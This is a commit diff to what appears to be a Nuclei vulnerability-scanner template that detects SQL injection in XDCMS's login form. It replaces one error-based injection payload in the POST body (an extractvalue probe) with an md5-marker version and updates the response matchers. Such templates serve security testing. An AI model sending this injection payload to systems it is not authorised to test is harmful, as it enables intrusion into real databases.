Update xdcms-sqli.yaml

vulnerabilities/other/xdcms-sqli.yaml

@@ -8,6 +8,9 @@ info:
     - https://www.uedbox.com/post/35188/
   tags: sqli,xdcms
 
+variables:
+  num: "999999999"
+
 requests:
   - method: POST
     path:
@@ -15,7 +18,7 @@ requests:
     headers:
       Content-Type: application/x-www-form-urlencoded
     body: |
-      username=dd' or extractvalue(0x0a,concat(0x0a,810663301*872821376))#&password=dd&submit=+%B5%C7+%C2%BC+
+      username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+
 
     matchers-condition: and
     matchers:
@@ -27,10 +30,8 @@ requests:
 
       - type: word
         words:
-          - "707564257851522176"
-          - "XPATH syntax error:"
+          - '{{md5({{num}})}}'
         part: body
-        condition: and
 
       - type: status
         status: